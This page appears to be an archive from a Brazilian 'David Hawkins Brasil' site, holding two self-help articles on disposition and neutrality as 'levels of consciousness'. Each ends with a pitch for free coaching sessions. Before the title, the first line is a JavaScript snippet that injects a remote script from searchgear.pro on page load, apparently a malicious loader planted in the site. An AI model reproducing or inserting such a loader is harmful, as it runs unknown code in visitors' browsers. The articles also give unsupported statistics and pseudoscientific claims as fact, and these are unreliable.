;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de disposição - David Hawkins Brasil
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Níveis de Consciência

A Disposição pode nos Levar a Resultados Inimagináveis – com base em Dr. David Hawkins

O início do construtivismo está na disposição. Esse estado de Ser nos guia para o sucesso e nos mantém lá.

É agradável estar ao lado de uma pessoa com disposição a maior parte do tempo.

São pessoas construtivas, animadas, pra “frentéx” e parece que nada as faz desviar do foco delas, persistindo até alcançarem os resultados.

Esse é o estado de consciência dos empresários de sucesso.

Aqui se inicia o construtivismo, o foco em realizar por si e pelo bem maior. As metas de médio e longo prazo prevalecem sobre o atendimento exacerbado dos prazeres de curto prazo.

Entende-se que o crescimento é formado por disciplina, harmonia e perseverança.

Como atua uma pessoa com disposição?

O foco da pessoa disposta está em gozar da jornada e não a fixação por alcançar o destino.

Sua filosofia é dar o seu melhor todos os dias e fazer um trabalho de excelência, permitindo-se: errar, falhar e aprender com seus deslizes sem ser negligente.

Pessoas dispostas estão a maior parte do tempo empregadas ou construindo seu próprio negócio.

Apenas 7% das pessoas deste nível de consciência ficam desempregadas e somente 1% delas são pobres.

Elas não têm frescura de começar de baixo, de fazer trabalhos que a vaidade da grande maioria acharia indigno e mesmo que em cargos de liderança, quando falta mão de obra para trabalhos simples:

  • como limpar o banheiro,
  • pintar uma parede,
  • fazer um café,

Essas pessoas são os primeiros a tomar a iniciativa e ainda inspiram os outros a ajudarem.

Exemplos de disposição e sucesso.

Grandes figuras empresariais as quais admiramos, assim como esportistas de sucesso, estão ou passaram por este nível de consciência no início de suas carreiras:

  • Steve Jobs,
  • Bill Gates,
  • Walt Disney,
  • Abílio Diniz,
  • Sílvio Santos,
  • Samuel Klein,
  • Luíza Helena Trajano,
  • Flávio Augusto,
  • Ayrton Senna,
  • Usain Bolt,
  • Michael Phelps,
  • Pelé,
  • entre tantos outros.

O mais interessante é que todos eles começaram suas carreiras “do nada”.

Eles acreditaram no potencial de suas ideias e de si mesmos, caíram inúmeras vezes, mas se levantaram em todas elas e seguiram em frente.

Alguns passaram por momentos de desespero, miséria, depressão, opressão, traição, mas nada os segurou de fazer aquilo que eles sentiram ser o correto a se fazer.

São verdadeiros heróis que não se abalam com qualquer eventualidade externa.

O que nos impede de sermos mais disposição?

Os principais fatores que nos atrapalham para nos conectarmos com esse estado de consciência são:

Medo, a insegurança de:

  • Perder o controle da situação,
  • Falhar nos afazeres,
  • Sair da zona de conforto,
  • Ter que lidar com situações adversas ou incômodas,
  • Alcançar o poder e não saber o que fazer com ele,
  • Frustrar as pessoas ao seu redor,
  • Se frustrar,
  • Delegar tarefas para outras pessoas.

Vaidade:

  • Achar que deve apenas fazer seu trabalho,
  • Acreditar que está certo de tudo,
  • Buscar apenas ganhos para si mesmo,
  • Enxergar a vida como um campo de batalha onde para um ganhar outro tem que perder,
  • Provar para os outros que está certo,
  • Achar que só você faz um bom trabalho.

Apatia: 

  • Indisposição para fazer o que é necessário,
  • Procrastinação de tarefas que visa como desagradável,
  • Preguiça de lidar com situações desconfortáveis ou começar projetos longos que irão dar trabalho.

Desejo:  

  • Ansiedade de alcançar as coisas rápido,
  • Ausência de perseverança e tolerância,
  • Sede por querer mais,
  • Não saber compartilhar os méritos,
  • Ganância e
  • Cobiça.

Culpa: 

  • Paralisar ou se irritar diante de adversidades,
  • Se iludir que tudo o que acontece de ruim tem um culpado,
  • Se ausentar das responsabilidades,
  • Resistir à realidade como ela se manifesta e acreditar que podia ter sido diferente,
  • Agarrar-se no estado de incompetência e acreditar que os erros o fadaram a não conseguir mais seguir em frente,
  • Acreditar que a culpa do seu insucesso está lá fora.

Estes cinco sentimentos principais, nos mantêm em um ciclo de escassez contínua e nos impede de visitar a abundância em qualquer área de nossas vidas, tornando-nos charretes desgovernadas que irão para o sentido que as condições externas nos jogarem.

Quando começamos a diminuir aos poucos, um passo de cada vez, a influência dessas emoções internas e assumimos nossa responsabilidade por todas as situações que atraímos e pelo potencial que podemos despertar em nós, passamos a tomar as rédeas de nossa vida e nos guiar para onde queremos chegar.

Como nos tornarmos mais dispostos?

Para invocarmos a disposição que existe latente dentro de cada um de nós, é necessário primeiro querer verdadeiramente.

Quando somos sinceros com nós mesmos, paramos de dar a desculpa de que não podemos ou não conseguimos e passamos para um estado de “eu consigo”, “eu posso”, “eu faço”.

Disposição é uma determinação interna de iniciar e seguir a jornada até que se chegue ao resultado ou tenha-se o vislumbre de algo melhor ou maior daquilo que tinha sido almejado no início.

Dicas para despertar a disposição.

Para despertarmos cada vez mais esse estado interno dentro de nós, algumas práticas podem ser realizadas em nosso dia a dia:

Físico: 

  • Buscar fazer algum exercício que goste rotineiramente,
  • Acordar mais cedo,
  • Cortar ou reduzir algum dos tipos de alimentos que desarmonizam nosso organismo como: industrializados, carnes, queijo ou açúcar/adoçante.

Prazeres: 

  • Aproveitar os momentos de lazer sem se preocupar com o que está acontecendo fora do aqui e agora,
  • Fazer um controle financeiro e cortar os excessos,
  • Buscar criar um gosto pelo que se está fazendo e não só pelo resultado a ser obtido.

Atividades: 

  • Equilibrar suas tarefas com momentos de descanso e regeneração,
  • Não se sobrecarregar,
  • Diminuir a vontade de controlar as pessoas ao seu redor,
  • Aprender a delegar funções,
  • Fazer planejamentos de médio e longo prazo.

Social: 

  • A vontade para contribuir e colaborar deve ser colocada em primeiro plano,
  • Também priorizar os aspectos de: harmonia, acordo, tolerância e paciência com o próximo.
  • Gerar empatia com as pessoas e entender seus contextos de vida pode ajudar bastante.

Expressão: 

  • Falar somente a verdade,
  • Ser sensível e bondoso com as palavras,
  • Evitar palavrões e palavras que podem ferir os valores de alguém,
  • Diminuir os preconceitos e
  • Buscar o aperfeiçoamento na sua forma de se comunicar e expressar suas opiniões para que o outro entenda e não se ofenda.

Compreensão: 

  • Diminuir seus julgamentos mentais sobre os outros,
  • Refletir antes de agir,
  • Diminuir os apegos a suas opiniões,
  • Deixar de acreditar que você sempre está certo,
  • Analisar mais os dados.

Fé: 

  • Manter uma intenção firme em mente sem se apegar ao resultado,
  • Acreditar em si mesmo,
  • Entender que as conquistas não são mérito exclusivo seu, pois sem o contexto nada teria sido possível
  • Observar as emoções negativas que vierem para te colocar para baixo e atravessá-las no meio, com disposição e alegria.

Pode parecer muita coisa, mas cada um desses itens é possível de ser alcançado, basta querer de verdade e perseverar.

O importante para agora é você observar qual dessas sete áreas está mais desequilibrada nesses aspectos e escolher uma das orientações e aplicar na prática como um autodesafio.

Dentro dos treinamentos de Alta Performance que realizamos na Pandora Treinamentos, o desenvolvimento da disposição é um dos principais focos, pois é ele que nos instiga a irmos atrás daquilo que nos faz bem e aprendermos cada vez mais a construirmos para nós e para os outros.

Então, se você sentir que isso faz sentido para você e quiser um auxílio neste caminho, fique à vontade em agendar uma sessão online gratuita, para conhecer o Processo de Alta Performance e desfrutar dos benefícios e resultados que você mesmo irá traçar e se dispor a alcançar.

Gratidão e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Como a neutralidade nos ajuda a não sofrer – com base em Dr. David Hawkins

A neutralidade é uma forma de enxergar o mundo de maneira abundante. Se não conquistamos algo hoje, amanhã teremos uma nova oportunidade.

Há uma forma de buscarmos o caminho do não-sofrimento e potencializarmos nossa alegria na jornada de nossas conquistas: é a neutralidade.

Todo ser humano busca a alegria e a felicidade.

Cada um de forma diferente:

  • carros,
  • propriedades,
  • viagens,
  • reconhecimento por suas ações,
  • formação de uma família, etc.

Porém, por termos ideais e nos apegarmos a eles, passamos a sofrer cada vez que as coisas parecem não ter dado certo para o nosso lado.

Sofremos em todos os momentos onde nossas expectativas são frustradas.

Um caminho para o não-sofrimento, da alegria.

Os problemas mais agravantes quando se tem um sonho é:

  1. Não correr atrás dele por se entregar aos prazeres de curto prazo e não ter concentração para alcançá-lo ou
  2.  Tornar-se aficionado nele e não enxergar mais nada ao seu redor, podendo sair de sua base moral para alcançá-lo. O famoso erro da frase “o fim justificam os meios”.

Este é um estado comum em nossa sociedade que busca cada vez mais recursos externos para suprir suas necessidades e cobra de todos que façam o mesmo.

Essa pressão social acaba se tornando uma autocobrança constante e inconsciente que nos traz o famoso estresse diário.

Onde precisamos a todos os momentos ficar provando aos outros e a nós mesmos de que somos capazes de mais.

O estado de neutralidade é o primeiro passo para a liberdade dessa escravidão ilusória que temos da sociedade.

Para conquistar e crescer na vida não é necessário sofrer e se sacrificar, mas podemos trocar o nosso esforço demasiado para conquistar as coisas a qualquer custo por um estilo de vida de dar o nosso melhor independente dos resultados.

Dessa forma, automaticamente, teremos satisfação, alívio e alegria constantes, além de conquistas no tempo certo e com equilíbrio.

O que é o estado de neutralidade?

Assim como o estado de coragem é o primeiro nível de consciência positivo, a neutralidade é o primeiro estágio de consciência seguro.

Coragem parte do princípio de uma vida factível, de autoafirmação e empoderamento, sabendo que tudo pode ser possível.

Porém, o estado de coragem ainda não consegue enxergar que as conquistas e resultados não dependem apenas dele e, quando não consegue alcançar, pode entender isso como fracasso e sua consciência cair novamente para estágios de:

  • culpa,
  • tristeza,
  • medo,
  • raiva ou qualquer outro negativo.

Já a neutralidade, como complemento à coragem, parte do princípio de que a vida é abundante de oportunidades e que o contexto precisa estar alinhado e pronto para que um resultado aconteça.

Sabe-se que para algo acontecer, dependem de infinitas possibilidades a qual o Ser é apenas uma variável do contexto geral.

A pessoa com características de neutralidade não depende mais de resultados externos para manter sua confiança sempre latente.

Ela entende que é responsável por tudo que acontece em sua vida e faz um bom trabalho para que tudo continue fluindo.

Se o resultado não se manifesta, ela não cai em tristeza ou qualquer estágio negativo, pois ela sabe que haverá outras oportunidades e continua tentando. A atitude é do famoso “caiu, levanta”.

É um estado interno de maturidade. Quando algo vai contra seus quereres, ou seja, uma ausência de resultado, a criança birrenta dentro de si, começa a ser disciplinada e quando surge com raiva ou indignação, automaticamente seu estado adulto controla a situação e observa a realidade que se manifesta daquela forma e entende que negá-la irá trazer sofrimento agudo, pois quando não aceitamos a realidade, caímos em ilusão e falsidade que geram sofrimentos crônicos e agudos.

Para que buscar a neutralidade?

A pessoa em neutralidade atinge um relativo desapego do resultado.

Acabamos confundindo o desapego do resultado com negligência ou um estado de apatia em que nada se faz por não ter motivação, mas esta comparação é errônea.

O estado de neutralidade dá o melhor de si como um estilo de vida para cada meta que tem, mas não se frustra pelas expectativas geradas, porque sabe que deu o seu melhor, mas o contexto não estava propício.

Então ela pode desistir daquele caminho ou observar o que pode ter dado errado e corrigir o percurso para buscar o resultado novamente.

Muitas pessoas que alcançam esse estado de neutralidade vivem nele pelo resto de suas vidas, pois é um estágio de regeneração e cura dos sofrimentos causados pelos níveis negativos de consciência.

Sem tantas oscilações de humor, a pessoa busca uma vida mais pacata, sem tantos autos e baixos e trabalha melhor e mais tranquila os seus sonhos de curto e médio prazo.

A neutralidade precede a disposição.

Para alguns isso pode parecer entediante, mas o mais interessante é que após o estágio de consciência de neutralidade, se encontra o nível de disposição (ao qual falarei no próximo artigo).

Neste nível encontram-se os empresários mais conhecidos em nossa sociedade por seu caráter construtivista.

Porém, para se chegar nesse próximo estágio, é necessário aprender as regras da vida contidas no nível de neutralidade:

  • desapego do resultado,
  • autoconfiança independente das conquistas, 
  • equilíbrio interno,
  • visão de vida satisfatória e provedora.

Sem esses pré-requisitos, o ser não consegue alcançar um estado de construtivismo para si mesmo e para as pessoas ao seu redor, pois o apego ao resultado irá despertar: cobiça, ganância, arrogância, orgulho e soberba.

Portanto, inicialmente, é necessário fazer uma limpeza interna e se tornar neutro.

Em busca desse nível de consciência

A primeira coisa a ser feita é quebrar o paradigma de enxergar a vida como uma competição dual ilusória de vencedor vs perdedor. 

O que não sai da maneira que gostaria não deve ser considerado derrota ou frustração, mas uma oportunidade de aprendizado, limpeza interna e correção de percursos.

Como é comum aos grandes esportistas a frase “o mais difícil não é chegar em primeiro lugar, mas manter o primeiro lugar”, assim também é com a vida.

Acreditamos que alcançar o resultado é o mais importante, mas mantê-lo é ainda mais determinante para o sucesso.

Se não conseguimos conquistar o resultado é porque ainda não estamos prontos para lidar com aquela responsabilidade.

A vida está nos ensinando a amadurecer primeiro para que o tombo não seja maior.

Um exemplo de neutralidade.

Gosto muito de ilustrar esse estado interno de autoconfiança independente de resultado com a história do Walt Disney que precisou falir duas vezes, perder tudo e comer comida do lixo para que a Disney pudesse acontecer do jeito que a conhecemos.

E o mais interessante é que sem essa queda, não haveria o personagem Mickey e muito menos o sucesso da empresa como ela é até hoje.

Para quem quiser entender mais sobre esse caso verídico, pode assistir o filme Walt, antes do Mickey, disponível no Netflix, Google Play e iTunes.

Como alcançar esse nível de consciência?

Para se chegar no estágio de neutralidade é necessário observar e diminuir os excessos de nossa vida, para alcançar o equilíbrio.

O trabalho é de desapego daquilo que superestimulamos e supervalorizamos em nossa vida, principalmente ligados ao que queremos conquistar, para que a harmonia e a maturidade interna possam surgir.

Outra característica importante é largar o apego a posicionamentos falsos como:

  • “só vou ser feliz quando alcançar aquele resultado” ou
  • “só isso irá me fazer feliz e satisfeito” ou ainda,
  • “preciso conquistar isso para provar que sou capaz”

Todas essas formas de pensamento trazem angústia, sofrimento e ainda, quando (e se) alcançarmos o objetivo, continuaremos com o mesmo vazio de sempre.

Isso acontece por atrelarmos nossa felicidade a um fator externo e mesmo que o alcançarmos, este vazio retornará rapidamente, pois só o amor próprio é capaz de suprir nosso vazio e nossas carências.

Buscar o desapego do resultado é se alinhar com a Verdade de que as coisas não dependem só de você e não é preciso se culpar, se pressionar ou ser tirano consigo mesmo quando não alcançadas.

Manter a intenção no alcance do resultado e dar o seu melhor já é uma forma de autorrespeito a autoaceitação, e ambos esses estados estão alinhados com o amor próprio, que é sinônimo de felicidade.

Alcançando a neutralidade.

Desta forma, quando alcançamos a neutralidade, conseguimos perceber como a felicidade está disponível todos os dias durante a nossa jornada, e não só quando alcançamos o nosso destino.

A felicidade está disponível a qualquer momento para todas as pessoas, pois, independe de qualquer fator externo, basta buscarmos nosso sonho, darmos o nosso melhor e desapegarmos do resultado.

Uma metodologia didática e comprovada que nos guia a este caminho é um estilo de vida baseado em autodesafios.

Quando nos desafiamos, no permitimos experimentar o lado oposto de nossos hábitos e vícios para entender como é viver sem aquilo que tanto prezamos por um período determinado de tempo.

Essa prática nos faz diminuir os excessos de apego e supervalorizações que damos ao nosso estilo de vida atual e nos faz expandir nossa consciência e flexibilidade para lidar com as situações inusitadas e adversidades da vida.

Se preferir, agende uma sessão online gratuita clicando aqui. Assim você pode conhecer o Processo de Alta Performance para buscar esse estado interno de equilíbrio e harmonia, alcançando os resultados que você quer e merece para si.

Gratidão e vamos em frente!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual